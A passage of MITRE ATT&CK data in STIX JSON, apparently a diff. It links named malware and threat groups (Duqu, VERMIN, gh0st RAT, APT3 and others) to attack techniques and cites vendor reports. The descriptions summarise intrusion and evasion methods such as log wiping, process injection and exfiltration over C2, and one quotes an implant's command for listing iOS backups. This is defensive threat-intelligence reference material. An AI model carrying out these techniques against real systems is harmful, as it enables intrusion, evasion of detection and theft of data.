"attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104", + "description": "[Remsec](https://attack.mitre.org/software/S0125) can obtain information about the current user.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d1222ff7-b93c-40a7-99bd-217d795d8d58", + "source_ref": "malware--69d6f4a9-fcf0-4f51-bca7-597c51ad0bb8", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Kaspersky Lab's Global Research & Analysis Team. (2016, August 9). The ProjectSauron APT. Technical Analysis. Retrieved August 17, 2016.", + "source_name": "Kaspersky ProjectSauron Technical Analysis", + "url": "https://securelist.com/files/2016/07/The-ProjectSauron-APT_Technical_Analysis_KL.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3b3cbbe0-6ed3-4334-b543-3ddfd8c5642d", + "description": "[PLAINTEE](https://attack.mitre.org/software/S0254) encodes C2 beacons using XOR.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--e0d5dda2-3fc1-4dde-aebe-fb6e31023195", + "source_ref": "malware--21c0b55b-5ff3-4654-a05e-e3fc1ee1ce1b", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Ash, B., et al. (2018, June 26). RANCOR: Targeted Attacks in South East Asia Using PLAINTEE and DDKONG Malware Families. Retrieved July 2, 2018.", + "source_name": "Rancor Unit42 June 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/06/unit42-rancor-targeted-attacks-south-east-asia-using-plaintee-ddkong-malware-families/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--2daa14d6-cbf3-4308-bb8e-213c324a08e4", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.049Z", + "id": "relationship--df9beafa-be6b-4e61-9a27-dfb9ec7d6aa3", + "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", + "modified": "2019-07-25T14:25:53.640Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "F-Secure The Dukes", + "description": "F-Secure Labs. (2015, September 17). The Dukes: 7 years of Russian cyberespionage. Retrieved December 10, 2015.", + "url": "https://www.f-secure.com/documents/996508/1030745/dukes_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "malware--0852567d-7958-4f4b-8947-4f840ec8d57d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--fcdfad8a-73d5-4d8f-ab0d-24f847d675a0", + "source_ref": "intrusion-set--4a2ce82e-1a74-468a-a6fb-bbead541383c", + "modified": "2019-09-09T19:12:32.988Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + }, + { + "description": "Grunzweig, J. (2018, October 01). NOKKI Almost Ties the Knot with DOGCALL: Reaper Group Uses New Malware to Deploy RAT. Retrieved November 5, 2018.", + "source_name": "Unit 42 Nokki Oct 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/10/unit42-nokki-almost-ties-the-knot-with-dogcall-reaper-group-uses-new-malware-to-deploy-rat/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[Proxysvc](https://attack.mitre.org/software/S0238) performs data exfiltration over the control server channel using a custom protocol.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--c621754d-39c0-4ed4-96d2-6f47e8263aea", + "source_ref": "malware--069af411-9b24-4e85-b26c-623d035bbe84", + "modified": "2019-04-22T22:40:41.275Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "McAfee GhostSecret", + "description": "Sherstobitoff, R., Malhotra, A. (2018, April 24). Analyzing Operation GhostSecret: Attack Seeks to Steal Data Worldwide. Retrieved May 16, 2018.", + "url": "https://securingtomorrow.mcafee.com/mcafee-labs/analyzing-operation-ghostsecret-attack-seeks-to-steal-data-worldwide/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a19e86f8-1c0a-4fea-8407-23b73d615776", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.022Z", + "id": "relationship--6f991c49-462a-4cb8-8096-15c77f7ccace", + "source_ref": "course-of-action--0e5bdf42-a7f7-4d16-a074-4915bd262f80", + "modified": "2019-09-18T12:50:17.659Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "relationship_type": "mitigates" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[BBSRAT](https://attack.mitre.org/software/S0127) can query service configuration information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--54e99ba2-143f-43be-8d7f-79de5551d1ac", + "source_ref": "malware--64d76fa5-cf8f-469c-b78c-1a4f7c5bad80", + "modified": "2019-04-24T23:10:02.487Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Palo Alto Networks BBSRAT", + "description": "Lee, B. Grunzweig, J. (2015, December 22). BBSRAT Attacks Targeting Russian Organizations Linked to Roaming Tiger. Retrieved August 19, 2016.", + "url": "http://researchcenter.paloaltonetworks.com/2015/12/bbsrat-attacks-targeting-russian-organizations-linked-to-roaming-tiger/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--f879d51c-5476-431c-aedf-f14d207e4d1e", + "description": "[APT3](https://attack.mitre.org/groups/G0022) uses commonly used ports (like HTTPS/443) for command and control.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--afbf5119-6e39-4e4c-8329-57f7249a67b4", + "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", + "modified": "2019-04-29T18:01:20.629Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "evolution of pirpi", + "description": "Yates, M. (2017, June 18). APT3 Uncovered: The code evolution of Pirpi. Retrieved September 28, 2017.", + "url": "https://recon.cx/2017/montreal/resources/slides/RECON-MTL-2017-evolution_of_pirpi.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7bc57495-ea59-4380-be31-a64af124ef18", + "description": "[ADVSTORESHELL](https://attack.mitre.org/software/S0045) can list files and directories.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7105ecea-8da8-4723-b717-ae9c3152cfdd", + "source_ref": "malware--fb575479-14ef-41e9-bfab-0b7cf10bec73", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "ESET. (2016, October). En Route with Sednit - Part 2: Observing the Comings and Goings. Retrieved November 21, 2016.", + "source_name": "ESET Sednit Part 2", + "url": "http://www.welivesecurity.com/wp-content/uploads/2016/10/eset-sednit-part-2.pdf" + }, + { + "description": "Bitdefender. (2015, December). APT28 Under the Scope. Retrieved February 23, 2017.", + "source_name": "Bitdefender APT28 Dec 2015", + "url": "https://download.bitdefender.com/resources/media/materials/white-papers/en/Bitdefender_In-depth_analysis_of_APT28%E2%80%93The_Political_Cyber-Espionage.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--c32f7008-9fea-41f7-8366-5eb9b74bd896", + "description": "[CHOPSTICK](https://attack.mitre.org/software/S0023) provides access to the Windows Registry, which can be used to gather information.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--f55d54fe-27ed-41f9-81db-11ccbe2d2125", + "source_ref": "malware--ccd61dfc-b03f-4689-8c18-7c97eab08472", + "modified": "2019-05-14T17:10:21.934Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2015). APT28: A WINDOW INTO RUSSIA\u2019S CYBER ESPIONAGE OPERATIONS?. Retrieved August 19, 2015.", + "source_name": "FireEye APT28", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-apt28.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--9422fc14-1c43-410d-ab0f-a709b76c72dc", + "description": "[NanHaiShu](https://attack.mitre.org/software/S0228) modifies the %regrun% Registry to point itself to an autostart mechanism.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--cb69898b-b5e4-407a-964d-a13149accdd7", + "source_ref": "malware--705f0783-5f7d-4491-b6b7-9628e6e006d2", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2016, July). NANHAISHU RATing the South China Sea. Retrieved July 6, 2018.", + "source_name": "fsecure NanHaiShu July 2016", + "url": "https://www.f-secure.com/documents/996508/1030745/nanhaishu_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", + "description": "[CosmicDuke](https://attack.mitre.org/software/S0050) steals user files from local hard drives with file extensions that match a predefined list.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--dad229e7-fcc6-4c1d-99c3-47d54fbc6892", + "source_ref": "malware--2eb9b131-d333-4a48-9eb4-d8dec46c19ee", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "F-Secure Labs. (2014, July). COSMICDUKE Cosmu with a twist of MiniDuke. Retrieved July 3, 2014.", + "source_name": "F-Secure Cosmicduke", + "url": "https://www.f-secure.com/documents/996508/1030745/cosmicduke_whitepaper.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "tool--03342581-f790-4f03-ba41-e82e67392e23", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-01-16T16:13:52.465Z", + "id": "relationship--f6d23c6b-01c8-4bea-9bc6-2c66fbbbd3ae", + "source_ref": "intrusion-set--93f52415-0fe4-4d3d-896c-fc9b8e88ab90", + "modified": "2019-03-22T19:57:37.433Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Secureworks BRONZE BUTLER Oct 2017", + "description": "Counter Threat Unit Research Team. (2017, October 12). BRONZE BUTLER Targets Japanese Enterprises. Retrieved January 4, 2018.", + "url": "https://www.secureworks.com/research/bronze-butler-targets-japanese-businesses" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a", + "description": "[3PARA RAT](https://attack.mitre.org/software/S0066) has a command to set certain attributes such as creation/modification timestamps on files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--d43315b0-d708-4197-b3ed-0a0b1199e434", + "source_ref": "malware--7bec698a-7e20-4fd3-bb6a-12787770fb1a", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "source_name": "CrowdStrike Putter Panda", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--30208d3e-0d6b-43c8-883e-44462a514619", + "description": "For all non-removable drives on a victim, [USBStealer](https://attack.mitre.org/software/S0136) executes automated collection of certain files for later exfiltration.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7a892ca0-f915-4dc1-817a-cdcfb6777f28", + "source_ref": "malware--af2ad3b7-ab6a-4807-91fd-51bcaff9acbb", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Calvet, J. (2014, November 11). Sednit Espionage Group Attacking Air-Gapped Networks. Retrieved January 4, 2017.", + "source_name": "ESET Sednit USBStealer 2014", + "url": "http://www.welivesecurity.com/2014/11/11/sednit-espionage-group-attacking-air-gapped-networks/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", + "description": "[Bisonal](https://attack.mitre.org/software/S0268) has a command to gather system information from the victim\u2019s machine.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--ced766d2-ca63-43d2-8551-76f37696cc88", + "source_ref": "malware--65ffc206-d7c1-45b3-b543-f6b726e7840d", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Hayashi, K., Ray, V. (2018, July 31). Bisonal Malware Used in Attacks Against Russia and South Korea. Retrieved August 7, 2018.", + "source_name": "Unit 42 Bisonal July 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/07/unit42-bisonal-malware-used-attacks-russia-south-korea/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd", + "description": "[Dragonfly 2.0](https://attack.mitre.org/groups/G0074) dropped and executed tools used for password cracking, including Hydra.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--b75c08e0-4d11-46dc-a582-ca496352bb1c", + "source_ref": "intrusion-set--76d59913-1d24-4992-a8ac-05a3eb093f71", + "modified": "2019-03-22T20:13:49.625Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.", + "source_name": "US-CERT TA18-074A", + "url": "https://www.us-cert.gov/ncas/alerts/TA18-074A" + }, + { + "source_name": "US-CERT APT Energy Oct 2017", + "description": "US-CERT. (2017, October 20). Alert (TA17-293A): Advanced Persistent Threat Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved November 2, 2017.", + "url": "https://www.us-cert.gov/ncas/alerts/TA17-293A" + }, + { + "description": "Kali. (2014, February 18). THC-Hydra. Retrieved November 2, 2017.", + "source_name": "Kali Hydra", + "url": "https://tools.kali.org/password-attacks/hydra" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--15dbf668-795c-41e6-8219-f0447c0e64ce", + "description": "[Kazuar](https://attack.mitre.org/software/S0265) gathers information about local groups and members.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--77bd9ea1-9401-4128-a78a-bd28d43a6c99", + "source_ref": "malware--536be338-e2ef-4a6b-afb6-8d5568b91eb2", + "modified": "2019-04-24T15:26:03.798Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Levene, B, et al. (2017, May 03). Kazuar: Multiplatform Espionage Backdoor with API Access. Retrieved July 17, 2018.", + "source_name": "Unit 42 Kazuar May 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/05/unit42-kazuar-multiplatform-espionage-backdoor-api-access/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7385dfaf-6886-4229-9ecd-6fd678040830", + "description": "[XTunnel](https://attack.mitre.org/software/S0117) has been used to execute remote commands.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--3264e1db-0f54-4049-a45c-3a03a24709aa", + "source_ref": "malware--7343e208-7cab-45f2-a47b-41ba5e2f0fab", + "modified": "2019-04-19T18:36:32.003Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Alperovitch, D.. (2016, June 15). Bears in the Midst: Intrusion into the Democratic National Committee. Retrieved August 3, 2016.", + "source_name": "Crowdstrike DNC June 2016", + "url": "https://www.crowdstrike.com/blog/bears-midst-intrusion-democratic-national-committee/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", + "description": "[Ke3chang](https://attack.mitre.org/groups/G0004) performs local network connection discovery using netstat.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.033Z", + "id": "relationship--eaa06586-e33e-4e4c-91ca-76935c22e012", + "source_ref": "intrusion-set--6713ab67-e25b-49cc-808d-2b36d4fbc35c", + "modified": "2019-04-22T15:08:48.500Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Villeneuve et al 2014", + "description": "Villeneuve, N., Bennett, J. T., Moran, N., Haq, T., Scott, M., & Geers, K. (2014). OPERATION \u201cKE3CHANG\u201d: Targeted Attacks Against Ministries of Foreign Affairs. Retrieved November 12, 2014.", + "url": "https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/wp-operation-ke3chang.pdf" + }, + { + "source_name": "NCC Group APT15 Alive and Strong", + "description": "Smallridge, R. (2018, March 10). APT15 is alive and strong: An analysis of RoyalCli and RoyalDNS. Retrieved April 4, 2018.", + "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2018/march/apt15-is-alive-and-strong-an-analysis-of-royalcli-and-royaldns/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "[Duqu](https://attack.mitre.org/software/S0038) will inject itself into different processes to evade detection. The selection of the target process is influenced by the security software that is installed on the system (Duqu will inject into different processes depending on which security suite is installed on the infected host).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--7c3b845e-56ca-4580-b060-a3fa42b86a86", + "source_ref": "malware--68dca94f-c11d-421e-9287-7c501108e18c", + "modified": "2019-04-24T23:18:53.263Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "Symantec W32.Duqu", + "description": "Symantec Security Response. (2011, November). W32.Duqu: The precursor to the next Stuxnet. Retrieved September 17, 2015.", + "url": "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/w32_duqu_the_precursor_to_the_next_stuxnet.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--43e7dc91-05b2-474c-b9ac-2ed4fe101f4d", + "description": "An executable dropped onto victims by [Putter Panda](https://attack.mitre.org/groups/G0024) aims to inject the specified DLL into a process that would normally be accessing the network, including Outlook Express (msinm.exe), Outlook (outlook.exe), Internet Explorer (iexplore.exe), and Firefox (firefox.exe).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31T21:33:27.059Z", + "id": "relationship--a442fcac-55d7-49ff-8ecf-ca61885c27e2", + "source_ref": "intrusion-set--5ce5392a-3a6c-4e07-9df3-9b6a9159ac45", + "modified": "2019-03-25T16:53:38.817Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "CrowdStrike Putter Panda", + "description": "Crowdstrike Global Intelligence Team. (2014, June 9). CrowdStrike Intelligence Report: Putter Panda. Retrieved January 22, 2016.", + "url": "http://cdn0.vox-cdn.com/assets/4589853/crowdstrike-intelligence-report-putter-panda.original.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "description": "[T9000](https://attack.mitre.org/software/S0098) searches through connected drives for removable storage devices.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ea93ff11-939f-449a-a222-4273d9fc9f3c", + "source_ref": "malware--876f6a77-fbc5-4e13-ab1a-5611986730a3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Grunzweig, J. and Miller-Osborn, J.. (2016, February 4). T9000: Advanced Modular Backdoor Uses Complex Anti-Analysis Techniques. Retrieved April 15, 2016.", + "source_name": "Palo Alto T9000 Feb 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/02/t9000-advanced-modular-backdoor-uses-complex-anti-analysis-techniques/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", + "description": "[MobileOrder](https://attack.mitre.org/software/S0079) exfiltrates data to its C2 server over the same protocol as C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--4ffcf69a-c7ef-46dc-add7-9093e454a67e", + "source_ref": "malware--463f68f1-5cde-4dc2-a831-68b73488f8f4", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Falcone, R. and Miller-Osborn, J.. (2016, January 24). Scarlet Mimic: Years-Long Espionage Campaign Targets Minority Activists. Retrieved February 10, 2016.", + "source_name": "Scarlet Mimic Jan 2016", + "url": "http://researchcenter.paloaltonetworks.com/2016/01/scarlet-mimic-years-long-espionage-targets-minority-activists/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--348f1eef-964b-4eb6-bb53-69b3dcb0c643", + "description": "[XAgentOSX](https://attack.mitre.org/software/S0161) contains the showBackupIosFolder function to check for IOS device backups by running ls -la ~/Library/Application\\ Support/MobileSync/Backup/.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--6c8303dd-6ecc-47ea-abd6-6d5b2e557d96", + "source_ref": "malware--59a97b15-8189-4d51-9404-e1ce8ea4a069", + "modified": "2019-07-26T23:07:21.178Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Robert Falcone. (2017, February 14). XAgentOSX: Sofacy's Xagent macOS Tool. Retrieved July 12, 2017.", + "source_name": "XAgentOSX 2017", + "url": "https://researchcenter.paloaltonetworks.com/2017/02/unit42-xagentosx-sofacys-xagent-macos-tool/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[Proton](https://attack.mitre.org/software/S0279) removes logs from /var/logs and /Library/logs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--abd0cc1c-8901-4645-8853-c394ae8c573c", + "source_ref": "malware--c541efb4-e7b1-4ad6-9da8-b4e113f5dd42", + "modified": "2019-06-24T19:03:52.721Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "source_name": "objsee mac malware 2017", + "description": "Patrick Wardle. (n.d.). Mac Malware of 2017. Retrieved September 21, 2018.", + "url": "https://objective-see.com/blog/blog_0x25.html" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--8f4a33ec-8b1f-4b80-a2f6-642b2e479580", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) can get a list of the processes and running tasks on the system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--f6247612-3255-44eb-860f-e882ee1f36f6", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "source_name": "Unit 42 VERMIN Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--355be19c-ffc9-46d5-8d50-d6a036c675b6", + "description": "[VERMIN](https://attack.mitre.org/software/S0257) uses HTTP for C2 communications.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-10-17T00:14:20.652Z", + "id": "relationship--213b2924-9f77-4352-b92c-da83d00da353", + "source_ref": "malware--5189f018-fea2-45d7-b0ed-23f9ee0a46f3", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "Lancaster, T., Cortes, J. (2018, January 29). VERMIN: Quasar RAT and Custom Malware Used In Ukraine. Retrieved July 5, 2018.", + "source_name": "Unit 42 VERMIN Jan 2018", + "url": "https://researchcenter.paloaltonetworks.com/2018/01/unit42-vermin-quasar-rat-custom-malware-used-ukraine/" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa", + "description": "[WINERACK](https://attack.mitre.org/software/S0219) can enumerate services.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2018-04-18T17:59:24.739Z", + "id": "relationship--cd22a7a4-6f9f-481c-9a6d-6e1c665ed6cd", + "source_ref": "malware--49abab73-3c5c-476e-afd5-69b5c732d845", + "modified": "2018-10-17T00:14:20.652Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye. (2018, February 20). APT37 (Reaper): The Overlooked North Korean Actor. Retrieved March 1, 2018.", + "source_name": "FireEye APT37 Feb 2018", + "url": "https://www2.fireeye.com/rs/848-DID-242/images/rpt_APT37.pdf" + } + ], + "relationship_type": "uses" + }, + { + "type": "relationship", + "target_ref": "attack-pattern--799ace7f-e227-4411-baa0-8868704f2a69", + "description": "[gh0st RAT](https://attack.mitre.org/software/S0032) is able to wipe event logs.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-12-14T16:46:06.044Z", + "id": "relationship--ad696f42-0631-43fb-893b-a5616f14f93f", + "source_ref": "malware--88c621a7-aef9-4ae0-94e3-1fc87123eb24", + "modified": "2019-04-16T20:26:40.923Z", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "description": "FireEye Threat Intelligence. (2015, July 13). Demonstrating Hustle, Chinese APT Groups Quickly Use Zero-Day Vulnerability (CVE-2015-5119) Following Hacking Team Leak. Retrieved January 25, 2016.", + "source_name": "FireEye Hacking Team", + "url": 